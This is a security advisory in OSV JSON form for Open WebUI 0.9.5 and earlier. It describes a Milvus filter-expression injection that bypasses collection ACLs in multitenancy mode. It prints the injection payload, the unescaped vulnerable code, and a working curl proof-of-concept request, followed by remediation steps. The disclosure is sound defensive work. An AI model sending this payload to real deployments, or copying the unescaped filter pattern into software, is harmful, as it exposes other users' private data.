RAG ACL Bypass in Milvus Multitenancy Mode

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:57:43Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == \u0027x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\u0027\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == \u0027{resource_id}\u0027\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- \u003c\u003c\u0027JSON\u0027\n{\n  \"collection_names\": [\n    \"x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users\u0027 knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```",
  "id": "GHSA-p5cp-r7rg-qpxc",
  "modified": "2026-06-17T17:57:43Z",
  "published": "2026-06-17T17:57:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
}